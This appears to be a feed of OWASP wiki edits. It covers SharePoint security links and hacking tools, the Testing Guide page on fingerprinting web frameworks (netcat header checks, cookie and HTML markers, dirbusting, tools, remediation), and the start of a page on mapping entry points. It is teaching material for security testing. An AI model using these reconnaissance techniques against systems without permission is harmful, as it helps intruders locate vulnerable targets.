&lt;br /&gt;
==== Presentations ====&lt;br /&gt;
* HackCon 2011 - Oslo, Norway - February 16, 2011 : [http://www.stachliu.com/wp-content/uploads/2011/03/HackCon%202011%20-%20SharePoint%20Security%20-%20Feb2011.pdf SharePoint Security: Advanced SharePoint Security Tips and Tools]&lt;br /&gt;
* OWASP Houston Chapter - August 12, 2009 :  [http://owasp.icrew.org/downloads/OWASP_ShohnTrojacek.pdf SharePoint Auditing and Penetration Testing] Presentation by:  Shohn Trojacek&lt;br /&gt;
* from Denim group:&lt;br /&gt;
** [http://www.denimgroup.com/media/pdfs/DenimGroup_SecuringSharePoint_TASSCCTEC2009_20090326.pdf Securing SharePoint (PDF Format)] - TASSCC Technology Education Conference in Austin, March 26, 2009&lt;br /&gt;
** [http://www.denimgroup.com/media/pdfs/DenimGroup_SecuringSharePoint_TRISC_20090324.pdf Securing Sharepoint (PDF Format)] - Texas Regional Infrastructure Security Conference (TRISC) in Austin, March 24, 2009&lt;br /&gt;
** [http://sp.meetdux.com/archive/2009/07/08/a-primer-to-sharepoint-security.aspx A Primer to SharePoint Security] - video&lt;br /&gt;
&lt;br /&gt;
==== Other interesting resources====&lt;br /&gt;
* [http://www.indeed.com.au/jobs?q=Moss+Security&amp;amp;l= MOSS Security jobs (in Australia)]&lt;br /&gt;
* [http://www.cmswire.com/news/topic/sharepoint Articles on CMSWire about SharePoint]&lt;br /&gt;
&lt;br /&gt;
==== Other Blogs and Articles ====&lt;br /&gt;
* [http://www.darkreading.com/security/app-security/showArticle.jhtml?articleID=212903345 Microsoft SharePoint: A Weak Link In Enterprise Security?] - Dark Reading&lt;br /&gt;
&lt;br /&gt;
==== Security related technical articles ====&lt;br /&gt;
* [http://www.sharepointsecurity.com/sharepoint/sharepoint-security/how-to-programmatically-disable-code-access-security/ How to Programmatically Disable Code Access Security]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Published Security issues ==&lt;br /&gt;
&lt;br /&gt;
=== SharePoint related vulnerabilities and its status ===&lt;br /&gt;
* {Note: Add MSRC case}&lt;br /&gt;
* http://milw0rm.com/exploits/8704 &amp;amp; http://milw0rm.com/sploits/2009-IIS-Advisory.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MOSS Security related WebParts, Tools  &amp;amp; services ==&lt;br /&gt;
&lt;br /&gt;
==== Open Source ====&lt;br /&gt;
* From CodePlex (see more on this search for [http://www.codeplex.com/site/search?ProjectSearchText=Sharepoint%20Security SharePoint Security]&lt;br /&gt;
** [http://securitytemplates.codeplex.com/ SharePoint Security Templates] (CodePlex)&lt;br /&gt;
** [http://spsecurity.codeplex.com/ SharePoint Security Configuration Feature]&lt;br /&gt;
** [http://accesschecker.codeplex.com Sharepoint Access Checker Web Part]&lt;br /&gt;
** [http://sitesecuritymgmt.codeplex.com/ Site Security Management Utility]&lt;br /&gt;
** [http://cryptocollaboration.codeplex.com/ CryptoCollaboration For SharePoint]&lt;br /&gt;
&lt;br /&gt;
==== Commercially Supported ====&lt;br /&gt;
* [http://www.sharepointsecurity.com ARB Security Solutions (www.sharepointsecurity.com)]&lt;br /&gt;
* [http://www.surety.com/Offerings/AbsoluteProof/For-MS-SharePoint.aspx AbsoluteProof for MS SharePoint] - related article [http://www.cmswire.com/cms/enterprise-cms/surety-releases-absoluteproof-for-sharepoint-002471.php Surety Releases AbsoluteProof for SharePoint]&lt;br /&gt;
* [http://www.avepoint.com/assets/pdf/Social_Security_Administration_Case_Study.pdf Sharepoint case study (marketing doc)]&lt;br /&gt;
&lt;br /&gt;
== Dangerous MOSS APIs ==&lt;br /&gt;
&lt;br /&gt;
Map the security implications of MOSS APIs, for example:&lt;br /&gt;
*  which APIs (if badly used)are vulnerable to: XSS, CSRF, SQL Injection&lt;br /&gt;
* configuration settings that have security implications&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SharePoint Hacking ==&lt;br /&gt;
==== SharePoint Hacking Tools ====&lt;br /&gt;
* [http://sparty.secniche.org/ Sparty - MS Sharepoint and Frontpage Auditing Tool]&lt;br /&gt;
* [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/ Stach &amp;amp; Liu's SharePoint Hacking Diggity Project] - SharePoint hacking tools project page.  Currently includes such hacking tools as:&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePoint%20-%20GoogleDiggity%20Dictionary%20File SharePoint – GoogleDiggity Dictionary File] - New GoogleDiggity input dictionary file containing 118 queries that allow users to uncover SharePoint specific vulnerabilities exposed via the Google search engine. This dictionary helps assessors locate exposures of common SharePoint administrative pages, web services, and site galleries that an organization typically would not want to be made available to the public, let alone indexed by Google.&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePointURLBrute SharePointURLBrute] - SharePointURLBrute is a new SharePoint hacking utility developed to help assessors quickly test user access to 99 common SharePoint administrative pages (e.g. “Add Users” page -&amp;gt; /_layouts/aclinv.aspx) by automating forceful browsing attacks.&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePoint%20UserDispEnum SharePoint UserDispEnum] - UserDispEnum is a new SharePoint user enumeration tool that exploits insecure access controls to the /_layouts/UserDisp.aspx?ID=1 page. This utility cycles through the integer ID values from 1 onward to identify valid users, account names, and other related profile information that can be easily extracted from the SharePoint user profiles.&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePoint%20DLP%20Tools SharePoint DLP Tools] - COMING SOON – Stach &amp;amp; Liu data loss prevention (DLP) tools for Microsoft SharePoint. SharePoint DLP Tools utilize administrative web services to help automate the searching of SharePoint files and lists for SSNs, credit card numbers, passwords, and other common information disclosures.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== SharePoint Hacking Presentations ====&lt;br /&gt;
* '''2008'''&lt;br /&gt;
** [http://www.youtube.com/watch?v=DYudvh9cfZM hak5 - Episode 407 - Toorcon 2008: Robin Wood, Dan Griffin] - see 11:10 minute mark in video for interview with Dan Griffin about SharePoint Hacking.&lt;br /&gt;
* '''2013'''&lt;br /&gt;
** [http://www.youtube.com/watch?feature=player_embedded&amp;amp;v=AAObW2fcB_s TMI: Assessing and Exploiting SharePoint at DerbyCon 3.0]&lt;br /&gt;
** [https://media.blackhat.com/us-13/Arsenal/us-13-Sood-Sparty-Slides.pdf Sparty - Blackhat USA 2013] Sparty : A Frontpage and Sharepoint Auditing Tool&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== WebParts Security ==&lt;br /&gt;
&lt;br /&gt;
* Security ratings &amp;amp; mappings of MOSS Deployed Web Parts&lt;br /&gt;
* Security ratings &amp;amp; mappings of 3rd Part Web Parts&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_Framework_(OTG-INFO-008)&amp;diff=158635</id>
		<title>Fingerprint Web Application Framework (OTG-INFO-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_Framework_(OTG-INFO-008)&amp;diff=158635"/>
				<updated>2013-09-18T02:20:07Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Fix Kali Linux naming, add link for 'wanted page'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
== Summary ==&lt;br /&gt;
Web framework[*] fingerprinting is an important subtask of information gathering. Knowing type of framework can automatically give such a great advantage if such a framework has already been met by a penetration tester. It is not only known vulnerabilities in unpatched versions but specific misconfigurations and known file structure which makes it so important.&lt;br /&gt;
&lt;br /&gt;
Several different vendors and versions of web frameworks are widely used. &lt;br /&gt;
Information about it significantly helps in the testing process, and will also change the course of the test. &lt;br /&gt;
Such information can be derived by careful analysis of certain common locations. Most of web frameworks have several markers in those locations, which help an attacker to spot them.&lt;br /&gt;
This is basically what all automatic tools do - looking for a marker from a predefined location&lt;br /&gt;
and then comparing it to the database of known signatures. For better accuracy several markers are usually used.&lt;br /&gt;
&lt;br /&gt;
[*] Please note that in this article we make no difference between Web Application Frameworks (WAF) and Content Management Systems (CMS).&lt;br /&gt;
This implying is made intentionally due to convenience from the point of fingerprinting of describing both of them in one chapter. Also, borders between WAFs and CMSes sometimes can be quite fuzzy (e.g. for Drupal, Joomla, SilverStripe and others) Further we reference both of the categories as web frameworks.&lt;br /&gt;
&lt;br /&gt;
== Test Objectives ==&lt;br /&gt;
To define type of used web framework so to have a better understanding of how to plan future attack.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
There are several most common locations to look in in order to define the current framework:&lt;br /&gt;
*HTTP headers&lt;br /&gt;
*Cookies&lt;br /&gt;
*HTML source code&lt;br /&gt;
*Specific files and folders&lt;br /&gt;
&lt;br /&gt;
Let's look closer at those approaches.&lt;br /&gt;
&lt;br /&gt;
==== HTTP headers ====&lt;br /&gt;
The most basic form of identifying a web framework is to look at the ''X-Powered-By'' field in the HTTP response header.&lt;br /&gt;
Many tools can be used to fingerprint a target. The simplest one is netcat utility. &lt;br /&gt;
Consider the following HTTP Request-Response: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc 127.0.0.1 80&lt;br /&gt;
HEAD / HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: nginx/1.0.14&lt;br /&gt;
Date: Sat, 07 Sep 2013 08:19:15 GMT&lt;br /&gt;
Content-Type: text/html;charset=ISO-8859-1&lt;br /&gt;
Connection: close&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
X-Powered-By: Mono&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From the ''X-Powered-By'' field, we understand that the web application framework is likely to be Mono.&lt;br /&gt;
&lt;br /&gt;
However, although simplicity and quickness of such an approach, this methodology doesn't work in 100% of cases. It is possible to easily disable ''X-Powered-By'' header by a proper configuration. There are also several techniques that allow a web site to obfuscate HTTP headers (see an example in [[#Remediation]] chapter)&lt;br /&gt;
So in the same example we could either miss the ''X-Powered-By'' header or obtain an answer like the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: nginx/1.0.14&lt;br /&gt;
Date: Sat, 07 Sep 2013 08:19:15 GMT&lt;br /&gt;
Content-Type: text/html;charset=ISO-8859-1&lt;br /&gt;
Connection: close&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
X-Powered-By: Blood, sweat and tears&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sometimes there are more HTTP-headers which point at the certain web framework. In the following example according to the information from HTTP-request one can see that ''X-Powered-By'' header contains PHP version. However, ''X-Generator'' header points out the used framework is actually Swiftlet, which helps a penetration tester to expand his attack vectors. When performing fingerprinting, always carefully inspect every HTTP-header for such leaks.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: nginx/1.4.1&lt;br /&gt;
Date: Sat, 07 Sep 2013 09:22:52 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
X-Powered-By: PHP/5.4.16-1~dotdeb.1&lt;br /&gt;
Expires: Thu, 19 Nov 1981 08:52:00 GMT&lt;br /&gt;
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
X-Generator: Swiftlet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Cookies ====&lt;br /&gt;
Another similar and somehow more reliable way to determine the current web framework, are framework-specific cookies.&lt;br /&gt;
Consider the following HTTP-request:&lt;br /&gt;
&lt;br /&gt;
[[Image:Cakephp_cookie.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As we can see, cookie ''CAKEPHP'' has automatically been set, which gives us information about what framework is used. List of common cookies names is presented in chapter [[#Cookies_2]]. Limitations are the same - it is possible to change the name of the cookie. For example, for the selected ''CakePHP'' framework this could be done by the following configuration (excerpt from core.php):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
* The name of CakePHP's session cookie.&lt;br /&gt;
*&lt;br /&gt;
* Note the guidelines for Session names states: &amp;quot;The session name references&lt;br /&gt;
* the session id in cookies and URLs. It should contain only alphanumeric&lt;br /&gt;
* characters.&amp;quot;&lt;br /&gt;
* @link http://php.net/session_name&lt;br /&gt;
*/&lt;br /&gt;
Configure::write('Session.cookie', 'CAKEPHP');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However from the experience, these changes are less likely to be made than, for example, ''X-Powered-By'' header so this approach can be considered as more reliable one.&lt;br /&gt;
&lt;br /&gt;
==== HTML source code ====&lt;br /&gt;
This technique is based on finding certain patterns in the HTML page source code. Often one can find much information which helps a tester to recognize specific web framework.&lt;br /&gt;
Ones of the common markers are HTML comments which directly lead to a framework disclosure. More often certain framework-specific paths can be found, i.e. links to framework-specific css and/or js folders. Finally, specific script variables might also point on a certain framework.&lt;br /&gt;
From the screenshot below one can easily learn the used framework and its version by the mentioned markers: comment, specific paths and script variables can all help an attacker to quickly determine an instance of ZK framework.&lt;br /&gt;
&lt;br /&gt;
[[Image:Zk_html_source.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The most frequently such information is placed either between &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt; and in &amp;lt;meta&amp;gt; tags or in the end of the page. Nevertheless, it is recommended to check the whole document - it can be useful for other purposes (such as inspection of other useful comments and hidden fields)&lt;br /&gt;
Sometimes, however, web developers don't care much about hiding tracks of a framework. It's still possible to stumble upon something like that at the bottom of the page:&lt;br /&gt;
&lt;br /&gt;
[[Image:banshee_bottom_page.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Specific files and folders ====&lt;br /&gt;
Apart from information, gathered from HTML sources, there is another approach which greatly helps an attacker to determine the framework with high accuracy.&lt;br /&gt;
Every framework has its own specific file and folder structure on the server. We pointed out that one can see the specific path from the HTML page source but sometimes they are not explicitly presented there and still reside on the server. In order to uncover them such technique as dirbusting is used. Dirbusting essense is fuzzing target with predictable folder- and filenames and monitoring HTTP-responses thus enumerating server contents. This information can be used both for finding default files and attacking them in next stages and for fingerprinting the web framework.&lt;br /&gt;
Dirbusting can be done in several ways, example below shows successful dirbusting attack against a WordPress-powered target with the help of defined list and Intruder functionality of Burp Suite.&lt;br /&gt;
&lt;br /&gt;
[[Image:Wordpress_dirbusting.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can see that for some WordPress-specific folders (for instance, /wp-includes/, /wp-admin/ and /wp-content/) HTTP-reponses are 403 (Forbidden), 302 (Found, redirection to ''wp-login.php'') and 200 (OK) respectively. This is a good indicator that the target is WordPress-powered. The same way it is possible to dirbust different framework plugin folders and their versions. On a screenshot below one can see a typical CHANGELOG file of a Drupal plugin, which both points out on the used framework and discloses vulnerable plugin version.&lt;br /&gt;
&lt;br /&gt;
[[Image:Drupal_botcha_disclosure.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tip: before starting dirbusting (which is a useful operation anyway), it is recommended to check robots.txt file first. Sometimes framework specific folders and other sensitive information can be found there as well! Example of such robots file is presented on a screenshot below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Robots-info-disclosure.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
Please address yourself to watching Monty Python's Flying Circus, I'm sure you'll like it!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Common frameworks ==&lt;br /&gt;
=== Cookies ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Framework !! Cookie name&lt;br /&gt;
|-&lt;br /&gt;
| Zope || zope3&lt;br /&gt;
|-&lt;br /&gt;
| CakePHP || cakephp&lt;br /&gt;
|-&lt;br /&gt;
| Kohana || kohanasession&lt;br /&gt;
|-&lt;br /&gt;
| Laravel || laravel_session&lt;br /&gt;
|-&lt;br /&gt;
| 1C-Bitrix || BITRIX_&lt;br /&gt;
|-&lt;br /&gt;
| AMPcms || AMP&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
| Django CMS || django&lt;br /&gt;
|-&lt;br /&gt;
| DotNetNuke || DotNetNukeAnonymous&lt;br /&gt;
|-&lt;br /&gt;
| e107 || e107_tz&lt;br /&gt;
|-&lt;br /&gt;
| EPiServer || EPiTrace, EPiServer&lt;br /&gt;
|-&lt;br /&gt;
| Graffiti CMS || graffitibot&lt;br /&gt;
|-&lt;br /&gt;
| Hotaru CMS || hotaru_mobile&lt;br /&gt;
|-&lt;br /&gt;
| ImpressCMS || ICMSession&lt;br /&gt;
|-&lt;br /&gt;
| Indico || MAKACSESSION&lt;br /&gt;
|-&lt;br /&gt;
| InstantCMS || InstantCMS[logdate]&lt;br /&gt;
|-&lt;br /&gt;
| Kentico CMS || CMSPreferredCulture&lt;br /&gt;
|-&lt;br /&gt;
| MODx || SN4[12symb]&lt;br /&gt;
|-&lt;br /&gt;
| TYPO3 || fe_typo_user&lt;br /&gt;
|-&lt;br /&gt;
| Dynamicweb || Dynamicweb&lt;br /&gt;
|-&lt;br /&gt;
| LEPTON || lep[some_numeric_value]+sessionid&lt;br /&gt;
|-&lt;br /&gt;
| Wix || Domain=.wix.com&lt;br /&gt;
|-&lt;br /&gt;
| VIVVO || VivvoSessionId&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== HTML source code ===&lt;br /&gt;
==== General markers ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %framework_name%&lt;br /&gt;
|-&lt;br /&gt;
| powered by&lt;br /&gt;
|-&lt;br /&gt;
| built upon&lt;br /&gt;
|-&lt;br /&gt;
| running&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Specific markers ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Framework !! Keyword&lt;br /&gt;
|-&lt;br /&gt;
| Adobe ColdFusion || &amp;amp;lt;!-- START headerTags.cfm&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft ASP.NET || __VIEWSTATE&lt;br /&gt;
|-&lt;br /&gt;
| ZK || &amp;amp;lt;!-- ZK&lt;br /&gt;
|-&lt;br /&gt;
| Business Catalyst || &amp;amp;lt;!-- BC_OBNW --&amp;amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Indexhibit || ndxz-studio&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Specific files and folders ===&lt;br /&gt;
Different for each specific framework. It is recommended to install the corresponding framework during penetration tests in order to have better understanding of what infrastructure is presented and which files might be left on the server. However, several good pre-made lists already exist, one good example of them - FuzzDB wordlists of predictable files/folders (http://code.google.com/p/fuzzdb/)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
A list of general and well-known tools is presented below. There are also a lot of other utilities, as well as framework-based fingerprinting tools.&lt;br /&gt;
 &lt;br /&gt;
=== WhatWeb ===&lt;br /&gt;
Website:  http://www.morningstarsecurity.com/research/whatweb &amp;lt;br&amp;gt;&lt;br /&gt;
Currently one of the best fingerprinting tools on the market. Included in a default [[Kali Linux]] build.&lt;br /&gt;
Language: Ruby&lt;br /&gt;
Matches for fingerprinting are made with:&lt;br /&gt;
* Text strings (case sensitive)&lt;br /&gt;
* Regular expressions&lt;br /&gt;
* Google Hack Database queries (limited set of keywords)&lt;br /&gt;
* MD5 hashes&lt;br /&gt;
* URL recognition&lt;br /&gt;
* HTML tag patterns&lt;br /&gt;
* Custom ruby code for passive and aggressive operations&lt;br /&gt;
&lt;br /&gt;
Sample output is presented on a screenshot below:&lt;br /&gt;
&lt;br /&gt;
[[Image:whatweb-sample.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== BlindElephant === &lt;br /&gt;
Website: https://community.qualys.com/community/blindelephant &amp;lt;br&amp;gt;&lt;br /&gt;
This great tool works on the principle of static file checksum based version difference thus providing a very high quality of fingerprinting.&lt;br /&gt;
Language: Python&lt;br /&gt;
&lt;br /&gt;
Sample output of a successful fingerprint:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pentester$ python BlindElephant.py http://my_target drupal&lt;br /&gt;
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups.&lt;br /&gt;
Starting BlindElephant fingerprint for version of drupal at http://my_target &lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/CHANGELOG.txt&lt;br /&gt;
File produced no match. Error: Retrieved file doesn't match known fingerprint. 527b085a3717bd691d47713dff74acf4 &lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/INSTALL.txt&lt;br /&gt;
File produced no match. Error: Retrieved file doesn't match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4 &lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/misc/drupal.js&lt;br /&gt;
Possible versions based on result: 7.12, 7.13, 7.14&lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/MAINTAINERS.txt&lt;br /&gt;
File produced no match. Error: Retrieved file doesn't match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca &lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/themes/garland/style.css&lt;br /&gt;
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Fingerprinting resulted in:&lt;br /&gt;
7.14&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Best Guess: 7.14&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Wappalyzer ===&lt;br /&gt;
Website: http://wappalyzer.com &amp;lt;br&amp;gt;&lt;br /&gt;
Wapplyzer is a Firefox/Chrome plug-in. It works on only regular expression matching and doesn't need anything other than the page to be loaded on browser. It works completely at the browser level and give results in form of icons. Although sometimes it has false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after browsing a page.&lt;br /&gt;
Sample output of a plug-in is presented on a screenshot below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp-wappalyzer.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Vulnerability References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Saumil Shah: &amp;quot;An Introduction to HTTP fingerprinting&amp;quot; - http://www.net-square.com/httprint_paper.html&lt;br /&gt;
* Anant Shrivastava : &amp;quot;Web Application Finger Printing&amp;quot; - http://anantshri.info/articles/web_app_finger_printing.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
General advice: use several tools described above and check scan logs in order to better understand what exactly helps an attacker to disclose your web framework. By performing multiple scans after changes you've done to hide framework tracks, it's possible to achieve better security level and to make sure of undetectability by automatic scans.&lt;br /&gt;
Below you may find specific recommendations by framework marker location and some additional interesting approaches.&lt;br /&gt;
&lt;br /&gt;
==== HTTP headers ====&lt;br /&gt;
Check your configuration and disable/obfuscate all HTTP-headers which disclose information about used technologies.&lt;br /&gt;
An interesting article about HTTP-headers obfuscation using Netscaler:&lt;br /&gt;
http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html&lt;br /&gt;
&lt;br /&gt;
==== Cookies ====&lt;br /&gt;
It is recommended to change cookie names by making proper changes in corresponding config files.&lt;br /&gt;
&lt;br /&gt;
==== HTML source code ====&lt;br /&gt;
Check manually the contents of your HTML code and remove everything what explicitly points to the framework.&lt;br /&gt;
General guidelines:&lt;br /&gt;
*Make sure you didn't leave any visual markers disclosing used framework&lt;br /&gt;
*Remove any unnecessary comments (copyrights, bug information, specific framework comments)&lt;br /&gt;
*Remove META and generator tags&lt;br /&gt;
*Use your own css/js and do not store those in a framework-specific folders&lt;br /&gt;
*Make sure you're not using default scripts on the page; if using them is needed, obfuscate them.&lt;br /&gt;
&lt;br /&gt;
==== Specific files and folders ====&lt;br /&gt;
*Remove any unnecessary/unused files on the server. This implies text files disclosing information about versions and installation too.&lt;br /&gt;
*Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond / RewriteRule there. Example of such restriction for two common WordPress folders is presented below.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]&lt;br /&gt;
RewriteCond %{REQUEST_URI} /wp-admin/$&lt;br /&gt;
RewriteRule $ /http://your_website [R=404,L]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
However, these are not the only ways to restrict access. In order to automate this process, certain framework-specific plugins exist. One example for WordPress is StealthLogin (http://wordpress.org/plugins/stealth-login-page)&lt;br /&gt;
&lt;br /&gt;
==== Additional approaches ====&lt;br /&gt;
*Checksum management &lt;br /&gt;
*:Purpose of this approach is to beat checksum-based scanners and don't let them to disclose files by their hashes. Generally, there are two approaches in checksum management:&lt;br /&gt;
*:*Change the location of where those files are placed (i.e. move them to another folder, or rename existing)&lt;br /&gt;
*:*Modify their contents - even slight modification results in a completely different hash sum, so adding a single byte in the end of the file should not be a big problem.&lt;br /&gt;
*Controlled chaos&lt;br /&gt;
*:A funny and effective method which essense is adding bogus files and folders from other frameworks in order to fool scanners and confuse an attacker. But be careful not to overwrite exisiting files and folders and to break the current framework!&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Identify_application_entry_points_(OTG-INFO-006)&amp;diff=158632</id>
		<title>Identify application entry points (OTG-INFO-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Identify_application_entry_points_(OTG-INFO-006)&amp;diff=158632"/>
				<updated>2013-09-18T01:59:23Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Added link to WebScarab&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
Enumerating the application and its attack surface is a key precursor before any thorough testing can be undertaken, as it allows the tester to identify likely areas of weakness. This section aims to help identify and map out areas within the application that should be investigated once enumeration and mapping have been completed.&lt;br /&gt;
&lt;br /&gt;
== Test Objectives ==&lt;br /&gt;
&lt;br /&gt;
Understand how requests are formed and typical responses from the application&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
&lt;br /&gt;
Before any testing begins, always get a good understanding of the application and how the user/browser communicates with it.  As you walk through the application, pay special attention to all HTTP requests (GET and POST Methods, also known as Verbs), as well as every parameter and form field that is passed to the application.  In addition, pay attention to when GET requests are used and when POST requests are used to pass parameters to the application.  It is very common that GET requests are used, but when sensitive information is passed, it is often done within the body of a POST request.  Note that to see the parameters sent in a POST request, you will need to use a tool such as an intercepting proxy (for example, [[OWASP WebScarab Project|OWASP's WebScarab]]) or a browser plug-in.  Within the POST request, also make special note of any hidden form fields that are being passed to the application, as these usually contain sensitive information, such as state information, quantity of items, the price of items, that the developer never intended for you to see or change.  &lt;br /&gt;
&lt;br /&gt;
In the author's experience, it has been very useful to use an intercepting proxy and a spreadsheet for this stage of the testing.  The proxy will keep track of every request and response between you and the application as you walk through it.  Additionally, at this point, testers usually trap every request and response so that they can see exactly every header, parameter, etc. that is being passed to the application and what is being returned.  This can be quite tedious at times, especially on large interactive sites (think of a banking application). However, experience will teach you what to look for, and, therefore, this phase can be significantly reduced.  As you walk through the application, take note of any interesting parameters in the URL, custom headers, or body of the requests/responses, and save them in your spreadsheet.  The spreadsheet should include the page you requested (it might be good to also add the request number from the proxy, for future reference), the interesting parameters, the type of request (POST/GET), if access is authenticated/unauthenticated, if SSL is used, if it's part of a multi-step process, and any other relevant notes.  Once you have every area of the application mapped out, then you can go through the application and test each of the areas that you have identified and make notes for what worked and what didn't work.  The rest of this guide will identify how to test each of these areas of interest, but this section must be undertaken before any of the actual testing can commence.&lt;br /&gt;
&lt;br /&gt;
Below are some points of interests for all requests and responses.  Within the requests section, focus on the GET and POST methods, as these appear the majority of the requests.  Note that other methods, such as PUT and DELETE, can be used. Often, these more rare requests, if allowed, can expose vulnerabilities.  There is a special section in this guide dedicated for testing these HTTP methods.&lt;br /&gt;
&lt;br /&gt;
'''Requests:'''&lt;br /&gt;
* Identify where GETs are used and where POSTs are used.&lt;br /&gt;
* Identify all parameters used in a POST request (these are in the body of the request).&lt;br /&gt;
* Within the POST request, pay special attention to any hidden parameters.  When a POST is sent all the form fields (including hidden parameters) will be sent in the body of the HTTP message to the application.  These typically aren't seen unless you are using a proxy or view the HTML source code.  In addition, the next page you see, its data, and your access can all be different depending on the value of the hidden parameter(s).&lt;br /&gt;
